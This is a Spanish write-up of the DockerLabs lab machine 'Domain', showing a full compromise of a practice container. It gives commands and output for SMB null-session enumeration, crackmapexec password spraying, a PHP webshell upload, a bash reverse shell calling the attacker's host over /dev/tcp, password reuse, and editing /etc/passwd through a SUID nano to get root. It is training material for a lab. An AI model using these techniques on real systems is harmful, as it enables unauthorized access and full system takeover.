the_open_door
café
ESEN

Domain

DockerLabsFácilLinux172.17.0.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#smb#crackmapexec#password-spraying#smbmap#webshell#file-upload#credential-reuse#suid#nano#etc-passwd
TL;DR. Domain se abre por Samba: una sesión nula lista los usuarios (bob, james), un password spraying con crackmapexec da con bob:star, y su recurso html (la raíz de Apache) tiene permiso de escritura. Se sube una webshell PHP, se salta a una revshell como www-data, se reutiliza la contraseña de bob para migrar a su cuenta, y el nano con bit SUID permite editar /etc/passwd para dejar a root sin contraseña.

Reconocimiento

Escaneo de puertos

Es una máquina DockerLabs, así que trabajamos contra la IP del contenedor, 172.17.0.2. El escaneo se apoya en tres funciones del .zshrc; van con su código para que el barrido sea reproducible sin ellas. La primera, jmap, lanza un escaneo TCP de los 65535 puertos:

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

Es decir, el comando real es:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 172.17.0.2 -oG scan

jmap descubre los puertos 80, 139 y 445 abiertos en 172.17.0.2, todos con ttl 64

Discovered open port 80/tcp on 172.17.0.2
Discovered open port 445/tcp on 172.17.0.2
Discovered open port 139/tcp on 172.17.0.2
PORT    STATE SERVICE       REASON
80/tcp  open  http          syn-ack ttl 64
139/tcp open  netbios-ssn   syn-ack ttl 64
445/tcp open  microsoft-ds  syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

El ttl 64 confirma Linux, y la MAC 02:42:AC:... es del rango que Docker asigna a sus contenedores: coherente con que esto sea un laboratorio en contenedor. La segunda función, extractPorts, parsea el fichero scan y deja los puertos en el portapapeles:

extractPorts scan

extractPorts sobre el fichero scan: IP 172.17.0.2 y puertos 80,139,445 copiados al portapapeles

Extracting information...
IP Address: 172.17.0.2
Open ports: 80,139,445

Ports copied to clipboard

Y la tercera, jmap2, lanza versiones y scripts por defecto solo contra esos tres puertos:

nmap -p80,139,445 -sCV 172.17.0.2

jmap2 identifica Apache 2.4.52 y Samba smbd 4.6.2, con el http-title ¿Qué es Samba?

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: \xC2\xBFQu\xC3\xA9 es Samba?
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:11:00:02 (Unknown)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Dos servicios: un Apache 2.4.52 y Samba 4.6.2 sobre 139/445. El propio título de la web (¿Qué es Samba?, que nmap escapa como \xC2\xBF...) adelanta por dónde va la caja.

El sitio web - TCP 80

La web no es una aplicación, es una página estática que explica qué es Samba. No hay formularios ni enlaces: es una pista temática, no una superficie de ataque.

la web en 172.17.0.2 es una página estática titulada ¿Qué es Samba? con texto explicativo

Toda la atención va, entonces, al SMB.

Enumeración SMB: recursos y usuarios

crackmapexec con sesión anónima (-u '' -p '') primero lista los recursos compartidos. Aparecen tres:

crackmapexec smb 172.17.0.2 -u '' -p '' --shares 2>/dev/null

crackmapexec con sesión nula lista los recursos print$, html e IPC$

SMB   172.17.0.2   445   384324EFEFF2   [*] Windows 6.1 Build 0 (name:384324EFEFF2) (domain:384324EFEFF2) (signing:False) (SMBv1:False)
SMB   172.17.0.2   445   384324EFEFF2   [+] 384324EFEFF2\:
SMB   172.17.0.2   445   384324EFEFF2   [+] Enumerated shares
SMB   172.17.0.2   445   384324EFEFF2   Share      Permissions   Remark
SMB   172.17.0.2   445   384324EFEFF2   -----      -----------   ------
SMB   172.17.0.2   445   384324EFEFF2   print$                   Printer Drivers
SMB   172.17.0.2   445   384324EFEFF2   html                     HTML Share
SMB   172.17.0.2   445   384324EFEFF2   IPC$                     IPC Service (384324efeff2 server (Samba, Ubuntu))

El recurso html llama la atención de inmediato: por el comentario "HTML Share" y por el nombre, apunta a la raíz del Apache que acabamos de ver. La sesión nula no muestra permisos aquí, pero eso lo resolveremos con credenciales. Antes, la misma sesión anónima enumera los usuarios del sistema. La vía LDAP falla (no hay DC detrás, esto es Samba a secas), pero crackmapexec reintenta por SAMRPC y saca las cuentas:

crackmapexec smb 172.17.0.2 -u '' -p '' --users 2>/dev/null

crackmapexec falla por LDAP, reintenta por SAMRPC y enumera los usuarios james y bob

SMB   172.17.0.2   445   384324EFEFF2   [-] Error enumerating domain users using dc ip 172.17.0.2: socket connection error while opening: [Errno 111] Connection refused
SMB   172.17.0.2   445   384324EFEFF2   [*] Trying with SAMRPC protocol
SMB   172.17.0.2   445   384324EFEFF2   [+] Enumerated domain user(s)
SMB   172.17.0.2   445   384324EFEFF2   384324EFEFF2\james
SMB   172.17.0.2   445   384324EFEFF2   384324EFEFF2\bob

Dos cuentas: bob y james. Ese error de LDAP no es un fallo del ataque, es información: confirma que detrás no hay un controlador de dominio real, solo un Samba local.

Acceso: spraying + recurso escribible

Password spraying

Tenemos usuarios pero no contraseñas. En lugar de fijar una contraseña y barrer usuarios (lo habitual para no bloquear cuentas), aquí solo hay dos cuentas, así que se fija cada usuario y se prueba el diccionario entero contra ella. crackmapexec marca en verde el acierto; el grep -v '[-]' esconde la marea de fallos.

crackmapexec smb 172.17.0.2 -u 'bob' -p <rockyou.txt> 2>/dev/null | grep -v '[-]'

el spraying sobre bob encuentra la contraseña: bob:star marcado en verde

SMB   172.17.0.2   445   384324EFEFF2   [*] Windows 6.1 Build 0 (...) (signing:False) (SMBv1:False)
SMB   172.17.0.2   445   384324EFEFF2   [+] 384324EFEFF2\bob:star

La contraseña de bob es star. El mismo ataque contra james no llega a nada (se interrumpe con Ctrl+C sin ningún positivo), así que bob es la única vía:

crackmapexec smb 172.17.0.2 -u 'james' -p <rockyou.txt> 2>/dev/null | grep -v '[-]'

el spraying sobre james no devuelve ninguna contraseña y se interrumpe con Ctrl+C

SMB   172.17.0.2   445   384324EFEFF2   [*] Windows 6.1 Build 0 (...) (signing:False) (SMBv1:False)
^C^C

Recurso html con escritura

Ahora sí, con credenciales, smbmap muestra los permisos reales por recurso. Y ahí está el premio: html es de lectura y escritura.

smbmap -H 172.17.0.2 -u "bob" -p "star"

smbmap con bob:star lista html como READ, WRITE, print$ como READ ONLY e IPC$ sin acceso

[+] IP: 172.17.0.2:445   Name: 172.17.0.2   Status: Authenticated
    Disk       Permissions   Comment
    ----       -----------   -------
    print$     READ ONLY     Printer Drivers
    html       READ, WRITE   HTML Share
    IPC$       NO ACCESS     IPC Service (384324efeff2 server (Samba, Ubuntu))

Poder escribir en la raíz de Apache lo cambia todo: un fichero PHP subido ahí se ejecuta al pedirlo por el navegador. Es un file upload a RCE de manual.

Shell como www-data

Subir la webshell

Se prepara un PHP mínimo que ejecuta lo que llegue por el parámetro cmd:

nano revshell.php

se crea el fichero revshell.php con nano

<?php
        system($_GET['cmd']);
?>

el contenido de revshell.php: system($_GET['cmd'])

Y se sube al recurso html con smbclient:

smbclient -U bob //172.17.0.2/html
smb> put revshell.php

smbclient sube revshell.php al recurso html con put

Password for [WORKGROUP\bob]:
smb: \> put revshell.php
putting file revshell.php as \revshell.php (16.1 kb/s) (average 16.1 kb/s)

Un ?cmd=id confirma la ejecución remota como www-data:

revshell.php?cmd=id devuelve uid=33(www-data): la webshell ejecuta comandos

De webshell a revshell

Con la webshell ya podemos ejecutar comandos, pero una shell interactiva es mucho más cómoda. Se pone la máquina atacante a la escucha:

nc -nlvp 1234

nc escucha en el puerto 1234 esperando la conexión entrante

listening on [any] 1234 ...

Y se lanza el one-liner de Bash por el parámetro cmd. Los & van codificados como %26 para que la URL no los interprete como separadores y el payload llegue entero:

el one-liner de reverse shell enviado por el navegador contra revshell.php

http://172.17.0.2/revshell.php?cmd=bash -c "bash -i >%26 /dev/tcp/172.17.0.1/1234 0>%26 1"

La petición se queda cargando y no devuelve nada, que es justo lo esperado: el bash remoto queda enganchado a nuestra conexión en lugar de terminar. La shell cae en el listener como www-data:

la reverse shell conecta desde 172.17.0.2 y un id confirma uid=33(www-data)

connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 34762
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@384324efeff2:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Los avisos de job control son normales en una shell no interactiva recién ganada; se arreglan al tratar la TTY en el siguiente paso.

Escalada de privilegios

Situarse

Un vistazo rápido al sistema antes de escalar: usuario, kernel y host.

echo -e "\nSO: "$(uname) && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) && echo "Machine Name: "$(hostname) && echo "IP(s): "$(hostname -I) && echo -e "Information User: "$(id)"\n"

el one-liner de información imprime SO Linux, kernel 6.10.11-amd64, usuario www-data y host 384324efeff2

SO: Linux
Kernel Version: 6.10.11-amd64
User: www-data
Machine Name: 384324efeff2
IP(s): 172.17.0.2
Information User: uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data no tiene grupos interesantes ni nada propio que abusar. Pero ya conocemos una contraseña.

www-data → bob (reutilización de contraseña)

La reutilización de credenciales es lo primero que se prueba: bob:star era de SMB, pero las mismas credenciales suelen valer también para la cuenta local. Tras cambiar de usuario, se estabiliza la TTY con script para tener una shell en condiciones:

su bob
# password: star
script /dev/null -c bash

su bob con la contraseña star funciona; script estabiliza la shell y ls muestra el home de bob

www-data@384324efeff2:/var$ su bob
Password: star
bob@384324efeff2:/var$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
bob@384324efeff2:~$ ls -la
total 20
drwxr-x--- 2 bob  bob  4096 Apr 11  2024 .
-rw-r--r-- 1 bob  bob   220 Apr 11  2024 .bash_logout
-rw-r--r-- 1 bob  bob  3771 Apr 11  2024 .bashrc
-rw-r--r-- 1 bob  bob   807 Apr 11  2024 .profile

Ya somos bob.

bob → root (nano SUID sobre /etc/passwd)

Buscando binarios con bit SUID (los que se ejecutan con los permisos de su dueño, normalmente root), aparece uno que no debería estar ahí:

find / -perm -4000 2>/dev/null

find -perm -4000 como bob lista los SUID habituales y, al final, /usr/bin/nano

/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/nano

Entre los SUID normales del sistema (su, passwd, mount...) se cuela /usr/bin/nano. Un editor con SUID lee y escribe cualquier fichero como root, así que basta con abrir /etc/passwd. En lugar de inyectar un usuario nuevo, la vía más limpia es borrar la x del campo de contraseña de root: ese campo apunta a que el hash está en /etc/shadow, y dejarlo vacío significa "sin contraseña".

/usr/bin/nano /etc/passwd

se invoca /usr/bin/nano /etc/passwd desde /tmp como bob

nano SUID abre /etc/passwd; la línea de root muestra el campo de contraseña resaltado para borrar la x

root:x:0:0:root:/root:/bin/bash        →  root::0:0:root:/root:/bin/bash
...
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
james:x:1001:1001:james,,,:/home/james:/bin/bash

Con la x eliminada, su root entra sin pedir contraseña:

su root
id

su root sin contraseña e id devuelve uid=0(root) gid=0(root)

root@384324efeff2:/tmp# su root
root@384324efeff2:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Somos root. Máquina comprometida.

Cadena de ataque

SMB sesion nula  ->  usuarios bob, james  (SAMRPC, porque LDAP falla: no hay DC)
    └─> password spraying (crackmapexec)  ->  bob:star   (james sin resultado)
            └─> recurso html escribible (smbmap)  ->  webshell PHP (smbclient put)
                    └─> ?cmd=... one-liner  ->  revshell www-data
                            └─> su bob (misma contraseña)  ->  bob
                                    └─> nano SUID edita /etc/passwd (root sin contraseña)  ->  su root

Lecciones aprendidas

  • La sesión nula de SMB regala el mapa. La lista de usuarios convierte un spraying a ciegas en uno dirigido; sin ella habría que adivinar también las cuentas. Y el error de LDAP, lejos de estorbar, confirmó que detrás solo había un Samba local.
  • Escritura en la raíz web es RCE. Cualquier recurso SMB montado sobre /var/www/html con permiso de escritura permite subir un .php y ejecutarlo desde el navegador.
  • La misma contraseña vale en varios sitios. Que bob:star funcione en SMB y en su es el clásico reciclaje de credenciales; una cuenta de servicio no debería compartir clave con una de sistema.
  • nano con SUID es root. El bit SUID sobre un editor da lectura y escritura arbitrarias; editar /etc/passwd para quitar la contraseña de root es el atajo más limpio, más rápido que crackear un hash o inyectar una cuenta nueva.
Cheatsheet de comandos 16 comandos

Repaso rápido